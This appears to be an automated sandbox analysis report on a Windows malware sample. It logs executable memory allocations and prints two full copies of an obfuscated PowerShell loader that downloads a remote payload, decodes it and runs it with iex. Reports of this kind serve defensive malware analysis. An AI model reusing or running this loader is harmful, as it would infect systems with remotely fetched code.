NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02204000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0267b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02677000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x021fb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02662000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02675000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02205000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0266c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02800000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02206000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0267c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02663000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02664000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02665000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02666000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02667000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02668000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02669000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a30000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a31000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a32000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a33000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a34000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a35000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a36000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a37000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a38000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a39000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a3a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a3b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a3c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a3d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a3e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a3f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a41000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a42000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a43000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 27, 2024, 12:32 p.m.	process_identifier: 2276 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a44000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (2 events)

cmdline

POWERSHELL ";$Gavflabe='Bekvemmelighedernes';;$Views='Cosying';;$Threatless='Eposserne';;$Neutraliseredes='Mirras';;$Rkketoner='Expelling';;$Ohlsens=$host.Name;function Undgldelses($Forligsbrud){If ($Ohlsens) {$Arthrorrhagia=4} for ($Ildsjlene=$Arthrorrhagia;;$Ildsjlene+=5){if(!$Forligsbrud[$Ildsjlene]) { break }$Specifikation+=$Forligsbrud[$Ildsjlene]}$Specifikation}function Undividedness($Princippet){ .($kharua) ($Princippet)}$Mosquitofishes=Undgldelses 'unhanMon EO teTPl m.LongWSurfe G nb savCobliL KamIBro,e Ko nFdseT';$Dobbeltdres=Undgldelses 'KnifM chioVidezAmpuiSejrlBr,vl ankaReen/';$Alyssum=Undgldelses 'SquiTu stlRepas ast1repu2';$Sesquitertianal='S er[ Lemn ,peeUnretKarl. enrsCeraEElfeR Segv,ourI OutCSp.bE StoPabovo CtriCsiuN Mont ,olmB laa UndNLo taFilng D aEPrjuR.fve]An.a:Rocc: Eq sT wreMillcPro uK asRDjveISoirtlavaYSva PPlejRPaako Da,tastrO StrCPlatO P kLTill= Gen$T,ilaBeljlP alyfladSPreaS Se,uOutdm';$Dobbeltdres+=Undgldelses 'Kvrk5C or. V d0Spir G.it(LinyWNavni Ufrn Tegd Kroo UbnwPu csSva Le,eNStniTHalv Stum1Rude0N tt.Hall0B ik;Bast OveWBlokibrugnTerr6Maal4 Off;L mb Redux R d6Anti4Kha ;nedn T.ykrkostvKarr:Aand1ansi3Be.o1Ostr.Bilk0Vulg)Sp.i TilGCydeenimbcekshkT anoBlas/Skal2 iog0Rati1Br n0Un,a0Seve1Maww0 par1A da T.oFLeghiper,r este Secf Didowi exHerm/kobs1 ,or3huma1Supe. ra0';$Tekstilingenirerne=Undgldelses ' Rdlu L tSR.inEC imRF sk-SuccaNonig UnieUdplN AlgT';$Syndikatet12=Undgldelses 'EdithTilltBloktSho pRigasI it:Filv/Let,/Pli fBertiSen lKrigeVeksdViktn Sab.mohae EskuServ/Mondl,pry9Rigot oorERem wSabbbDop,9Int s Hol6CommaInc.a TroRwhelw Per5C pefTrkaySvenU DokiOejeaVariCUnrh0MalclKummf Ta /AggrHA ieuGeockPochoGenemAlgem eareBortlVa.dsAfskeStensImplbF.ntlLsebo ClakEthekGl peOrga.hen.mJyl.sortho';$Tvrreb=Undgldelses 'Kro >';$kharua=Undgldelses 'FemiiBor,e PhyX';$Uranolatry45='Brspapirers';$Alectoromorphae='\Myldretids.Uro';Undividedness (Undgldelses 'Stik$Te,egShoplSygeOHetebAircaNe.ol.dua: fsEDextf FriTkonkeEndorBaarBP umEBagmH o,eA T,rnSnokDF lmLHarlEDry D Ir EProu= H l$Forbe BioNAdenVFore:Ko maGoshpSociP FriDBlokA Sk TBr da K n+Nati$RefiAMat,l HenEkystC isctG anoL meRAfstO ScuMC.unOSerirUnrep AmpHAfpaa B,se');Undividedness (Undgldelses 'Kour$LapaG TellsmaaOBi iB AnnADodolUd.i:lac.pfar E FlaRFilmCGuarE WhaIEkspVKnsraThanbN,tolBussE UkoNPladEkbslsF etsFede6Bo v5Unde=Sp r$Dem.S Un y BooNBiladStalIScorkDadeAStakt AfsERaadTP tt1Rejs2 K.g.Akuts epiplarvlQuoniKlvet Udv(L gt$UldeTcay VSlodRAlcsRSu.oEBackBNona)');Undividedness (Undgldelses $Sesquitertianal);$Syndikatet12=$Perceivableness65[0];$Ildsjlenenterhabitation=(Undgldelses 'Fors$TaknGForgLKla OStvlbRygsaGennlTrni:U,dehSteeAOpofSMad T AmbI T sssmi.h Odo=BaigN Fu,ETracWEfte- ekrO troBRegiJA,rhEBretc MactPoul rygs ,veYAd,osSnort Sk EF,rlMKin . iga$Ove.MElo O ApoS rklQ UfouAthei hentCh fOForsFRoboi StrsFor,HFli.EHy ts');Undividedness ($Ildsjlenenterhabitation);Undividedness (Undgldelses ' la$For H PisaVands StotUd.aiS otsOt ehflng.LandHD,ssePlu.aWorrdIntee EntrAzoxsD lk[ Pan$ UndTR,maeFra kOpbasSplotRoeoi PatlImdeiLi,unda nge taeDogmnPalliSkolr Gh.e,arrrOmvun UnieSk r] Sap=Ethn$CertD.uinoSpidbTretbEllieAut,l ImptIa.cd LymrCodee erys');$Reflowers=Undgldelses ' afl$ AriHLiasaWongsUnbot SpeiBygns Indh Ree.PaulDAta oStopwEndonG snlS.rioGra aThiodUns.FKdbjiUnsolTaloeO er( Kan$AborSRetny salnAl.rd asi HankLsefaF.ldt Kl eParttAfga1 Fis2Moc ,File$StorIVarmm ZappCaphoBagfrSpelt leaS rvf ejlgWidoiIncef HoltKroneNewtr Api)';$Importafgifter=$efterbehandlede;Undividedness (Undgldelses 'Eq,i$Heteg Er l,nemo OchB veAMisblAr l:ufortker IU thNWilmsFlagMalmeaLiveNTilh1Pass6Aar.4Mean=Kult(BegoTAft ERespsPla T Rad-Udlnp IdsaHaget OvehC nv Dyrt$RibsiLa rm DiapfronoStilRSu,fTMarrAOpreF DolGO erITrefFC inTUdstEC,slrHalf)');while (!$Tinsman164) {Undividedness (Undgldelses ' Lu $am lgCammlPleso IskbStaia .urlIn a:Aut.SBreciMaledS gheFregfKammo erarDrenmAlodaEpictKardeSkrir opksIdeo=Tena$ StrA rivrPainbStyreSupejMon.dGif sBronvBeskaTastn monepapar') ;Undividedness $Reflowers;Undividedness (Undgldelses 'LipiSMor TLea ABe gR CanTPriv-HeftS.onaLChanECalaErut.PU is Vik4');Undividedness (Undgldelses 'E ie$ Re,GAc ilTilfOBevgBDuplAKratl Ove:Coevt KnsiFiskNCha.sPangmBil,Apre NMusi1Prop6.ont4 art=Bj r(Metot Mine SubSUdsdtHeks-SpirPSkaaaSkoltMakeHLati Cart$linjIAntim Frip VigO dprLongt ,esAFo rFHor GT reISvipF.enrt Th E FairBo t)') ;Undividedness (Undgldelses 'All.$GillgSka l DolO LejB f aABe,olGenn: amMKo eOSolsHR flA vernWhipdImprAPaulS Leg=Clas$Ddp g,arlLKuffop eabF.ynaI,delOp a: solsS tyTStudTHve tenameOpfap mdiDTo.ta Freg Bl OBrndG HaeEAs.aRSmaa+Cong+ Fly%Mold$.nniPTranERateRRiggc Fane .ariD.akVS,itANonsb Cocl sikeHje.NBur,e PossBlodSDjvl6Toil5Stra.,ildC St,ORadsUEareNDebaT') ;$Syndikatet12=$Perceivableness65[$Mohandas]}$desarmerende=334668;$Palladous=30658;Undividedness (Undgldelses ' Wal$fl.pgSkipLLorrOLateBStrua owelInsc: jlpWcru hAlkaeCushaPr.dt EroESa sAuddiRBe.re LonD Poc hau= esu StbegPropebi tTAfsp- Sc CT,ruOstumNTr.vtGasteUn eNProtTGena Mi.i$ExpeI In mReaspsemioPodiR.isat WinaCh,rFBaluG ParI Samfsolot Ni eDinkR');Undividedness (Undgldelses 'R.pl$Kmpeg Bi lSlago ntbFr maGranlorms:,omiSLoruuHavelcus t rnaSlsenSecra LewtUenieM.cosTand Galv=Frit Gevk[TrigSOprayS aasByldtRomaeeddem.nec.Ret COv roTenonHje.v PeleDensrBi ltPrst]sovs: ro: rtFFugurOpspoOpfamStraBMlera PrisBlode Ryd6,rte4SpanSAuditRombrLac iHainnMa.rgcald(.ipl$BestwKo fh Slveglyca Zeot,ogeeAngiaUnwarMi,ieChicdDich)');Undividedness (Undgldelses 'Succ$Kl nGEpilL UnlOfogybS roaTraplCent: lasS AsoT BetiTil GSubtbDisaJSk pl emie hreRUnstN A teItal Dram=Snur Jehj[UdafSBonby ExtsH drtFounE Burmordb.PerfTS gneGlisxPolat lle.PladERa,dn SkrChy eO Behd rogi indNIndvGkonf]Hea :D gs:PraoaBalcS,nfocConji TreIObte.WildG NoneUo eTCadds ov TAdspRExtrIFormNHaemgPome( vic$.angS ontuF,rbL E it S uAAmasNBadnaUn.fTProvE F,rSSubm)');Undividedness (Undgldelses ' oum$SadeG tillTidso UndBNedeAFugeLCor : Bygs akvCOverAFejlrPat E okamGldsOHalvNChasg ProeOv nr.nri= arn$OddfSAfseTPan,I DogG,ndebR piJ aglLSupee esRUnduN St e aa. E.fS ReauBre bFla Skemit VisrButtiTrounBiblgN,ne(Job $wholdS aneTvilS KlaAPre RF ksMhjl eDep rVkkeE SalNPhandUdklEF.st,Jonb$Tu iPUnifA utdLS,utL BryaHo edscarOF rsU UdbS Fan)');Undividedness $Scaremonger;"

cmdline

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Gavflabe='Bekvemmelighedernes';;$Views='Cosying';;$Threatless='Eposserne';;$Neutraliseredes='Mirras';;$Rkketoner='Expelling';;$Ohlsens=$host.Name;function Undgldelses($Forligsbrud){If ($Ohlsens) {$Arthrorrhagia=4} for ($Ildsjlene=$Arthrorrhagia;;$Ildsjlene+=5){if(!$Forligsbrud[$Ildsjlene]) { break }$Specifikation+=$Forligsbrud[$Ildsjlene]}$Specifikation}function Undividedness($Princippet){ .($kharua) ($Princippet)}$Mosquitofishes=Undgldelses 'unhanMon EO teTPl m.LongWSurfe G nb savCobliL KamIBro,e Ko nFdseT';$Dobbeltdres=Undgldelses 'KnifM chioVidezAmpuiSejrlBr,vl ankaReen/';$Alyssum=Undgldelses 'SquiTu stlRepas ast1repu2';$Sesquitertianal='S er[ Lemn ,peeUnretKarl. enrsCeraEElfeR Segv,ourI OutCSp.bE StoPabovo CtriCsiuN Mont ,olmB laa UndNLo taFilng D aEPrjuR.fve]An.a:Rocc: Eq sT wreMillcPro uK asRDjveISoirtlavaYSva PPlejRPaako Da,tastrO StrCPlatO P kLTill= Gen$T,ilaBeljlP alyfladSPreaS Se,uOutdm';$Dobbeltdres+=Undgldelses 'Kvrk5C or. V d0Spir G.it(LinyWNavni Ufrn Tegd Kroo UbnwPu csSva Le,eNStniTHalv Stum1Rude0N tt.Hall0B ik;Bast OveWBlokibrugnTerr6Maal4 Off;L mb Redux R d6Anti4Kha ;nedn T.ykrkostvKarr:Aand1ansi3Be.o1Ostr.Bilk0Vulg)Sp.i TilGCydeenimbcekshkT anoBlas/Skal2 iog0Rati1Br n0Un,a0Seve1Maww0 par1A da T.oFLeghiper,r este Secf Didowi exHerm/kobs1 ,or3huma1Supe. ra0';$Tekstilingenirerne=Undgldelses ' Rdlu L tSR.inEC imRF sk-SuccaNonig UnieUdplN AlgT';$Syndikatet12=Undgldelses 'EdithTilltBloktSho pRigasI it:Filv/Let,/Pli fBertiSen lKrigeVeksdViktn Sab.mohae EskuServ/Mondl,pry9Rigot oorERem wSabbbDop,9Int s Hol6CommaInc.a TroRwhelw Per5C pefTrkaySvenU DokiOejeaVariCUnrh0MalclKummf Ta /AggrHA ieuGeockPochoGenemAlgem eareBortlVa.dsAfskeStensImplbF.ntlLsebo ClakEthekGl peOrga.hen.mJyl.sortho';$Tvrreb=Undgldelses 'Kro >';$kharua=Undgldelses 'FemiiBor,e PhyX';$Uranolatry45='Brspapirers';$Alectoromorphae='\Myldretids.Uro';Undividedness (Undgldelses 'Stik$Te,egShoplSygeOHetebAircaNe.ol.dua: fsEDextf FriTkonkeEndorBaarBP umEBagmH o,eA T,rnSnokDF lmLHarlEDry D Ir EProu= H l$Forbe BioNAdenVFore:Ko maGoshpSociP FriDBlokA Sk TBr da K n+Nati$RefiAMat,l HenEkystC isctG anoL meRAfstO ScuMC.unOSerirUnrep AmpHAfpaa B,se');Undividedness (Undgldelses 'Kour$LapaG TellsmaaOBi iB AnnADodolUd.i:lac.pfar E FlaRFilmCGuarE WhaIEkspVKnsraThanbN,tolBussE UkoNPladEkbslsF etsFede6Bo v5Unde=Sp r$Dem.S Un y BooNBiladStalIScorkDadeAStakt AfsERaadTP tt1Rejs2 K.g.Akuts epiplarvlQuoniKlvet Udv(L gt$UldeTcay VSlodRAlcsRSu.oEBackBNona)');Undividedness (Undgldelses $Sesquitertianal);$Syndikatet12=$Perceivableness65[0];$Ildsjlenenterhabitation=(Undgldelses 'Fors$TaknGForgLKla OStvlbRygsaGennlTrni:U,dehSteeAOpofSMad T AmbI T sssmi.h Odo=BaigN Fu,ETracWEfte- ekrO troBRegiJA,rhEBretc MactPoul rygs ,veYAd,osSnort Sk EF,rlMKin . iga$Ove.MElo O ApoS rklQ UfouAthei hentCh fOForsFRoboi StrsFor,HFli.EHy ts');Undividedness ($Ildsjlenenterhabitation);Undividedness (Undgldelses ' la$For H PisaVands StotUd.aiS otsOt ehflng.LandHD,ssePlu.aWorrdIntee EntrAzoxsD lk[ Pan$ UndTR,maeFra kOpbasSplotRoeoi PatlImdeiLi,unda nge taeDogmnPalliSkolr Gh.e,arrrOmvun UnieSk r] Sap=Ethn$CertD.uinoSpidbTretbEllieAut,l ImptIa.cd LymrCodee erys');$Reflowers=Undgldelses ' afl$ AriHLiasaWongsUnbot SpeiBygns Indh Ree.PaulDAta oStopwEndonG snlS.rioGra aThiodUns.FKdbjiUnsolTaloeO er( Kan$AborSRetny salnAl.rd asi HankLsefaF.ldt Kl eParttAfga1 Fis2Moc ,File$StorIVarmm ZappCaphoBagfrSpelt leaS rvf ejlgWidoiIncef HoltKroneNewtr Api)';$Importafgifter=$efterbehandlede;Undividedness (Undgldelses 'Eq,i$Heteg Er l,nemo OchB veAMisblAr l:ufortker IU thNWilmsFlagMalmeaLiveNTilh1Pass6Aar.4Mean=Kult(BegoTAft ERespsPla T Rad-Udlnp IdsaHaget OvehC nv Dyrt$RibsiLa rm DiapfronoStilRSu,fTMarrAOpreF DolGO erITrefFC inTUdstEC,slrHalf)');while (!$Tinsman164) {Undividedness (Undgldelses ' Lu $am lgCammlPleso IskbStaia .urlIn a:Aut.SBreciMaledS gheFregfKammo erarDrenmAlodaEpictKardeSkrir opksIdeo=Tena$ StrA rivrPainbStyreSupejMon.dGif sBronvBeskaTastn monepapar') ;Undividedness $Reflowers;Undividedness (Undgldelses 'LipiSMor TLea ABe gR CanTPriv-HeftS.onaLChanECalaErut.PU is Vik4');Undividedness (Undgldelses 'E ie$ Re,GAc ilTilfOBevgBDuplAKratl Ove:Coevt KnsiFiskNCha.sPangmBil,Apre NMusi1Prop6.ont4 art=Bj r(Metot Mine SubSUdsdtHeks-SpirPSkaaaSkoltMakeHLati Cart$linjIAntim Frip VigO dprLongt ,esAFo rFHor GT reISvipF.enrt Th E FairBo t)') ;Undividedness (Undgldelses 'All.$GillgSka l DolO LejB f aABe,olGenn: amMKo eOSolsHR flA vernWhipdImprAPaulS Leg=Clas$Ddp g,arlLKuffop eabF.ynaI,delOp a: solsS tyTStudTHve tenameOpfap mdiDTo.ta Freg Bl OBrndG HaeEAs.aRSmaa+Cong+ Fly%Mold$.nniPTranERateRRiggc Fane .ariD.akVS,itANonsb Cocl sikeHje.NBur,e PossBlodSDjvl6Toil5Stra.,ildC St,ORadsUEareNDebaT') ;$Syndikatet12=$Perceivableness65[$Mohandas]}$desarmerende=334668;$Palladous=30658;Undividedness (Undgldelses ' Wal$fl.pgSkipLLorrOLateBStrua owelInsc: jlpWcru hAlkaeCushaPr.dt EroESa sAuddiRBe.re LonD Poc hau= esu StbegPropebi tTAfsp- Sc CT,ruOstumNTr.vtGasteUn eNProtTGena Mi.i$ExpeI In mReaspsemioPodiR.isat WinaCh,rFBaluG ParI Samfsolot Ni eDinkR');Undividedness (Undgldelses 'R.pl$Kmpeg Bi lSlago ntbFr maGranlorms:,omiSLoruuHavelcus t rnaSlsenSecra LewtUenieM.cosTand Galv=Frit Gevk[TrigSOprayS aasByldtRomaeeddem.nec.Ret COv roTenonHje.v PeleDensrBi ltPrst]sovs: ro: rtFFugurOpspoOpfamStraBMlera PrisBlode Ryd6,rte4SpanSAuditRombrLac iHainnMa.rgcald(.ipl$BestwKo fh Slveglyca Zeot,ogeeAngiaUnwarMi,ieChicdDich)');Undividedness (Undgldelses 'Succ$Kl nGEpilL UnlOfogybS roaTraplCent: lasS AsoT BetiTil GSubtbDisaJSk pl emie hreRUnstN A teItal Dram=Snur Jehj[UdafSBonby ExtsH drtFounE Burmordb.PerfTS gneGlisxPolat lle.PladERa,dn SkrChy eO Behd rogi indNIndvGkonf]Hea :D gs:PraoaBalcS,nfocConji TreIObte.WildG NoneUo eTCadds ov TAdspRExtrIFormNHaemgPome( vic$.angS ontuF,rbL E it S uAAmasNBadnaUn.fTProvE F,rSSubm)');Undividedness (Undgldelses ' oum$SadeG tillTidso UndBNedeAFugeLCor : Bygs akvCOverAFejlrPat E okamGldsOHalvNChasg ProeOv nr.nri= arn$OddfSAfseTPan,I DogG,ndebR piJ aglLSupee esRUnduN St e aa. E.fS ReauBre bFla Skemit VisrButtiTrounBiblgN,ne(Job $wholdS aneTvilS KlaAPre RF ksMhjl eDep rVkkeE SalNPhandUdklEF.st,Jonb$Tu iPUnifA utdLS,utL BryaHo edscarOF rsU UdbS Fan)');Undividedness $Scaremonger;"

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
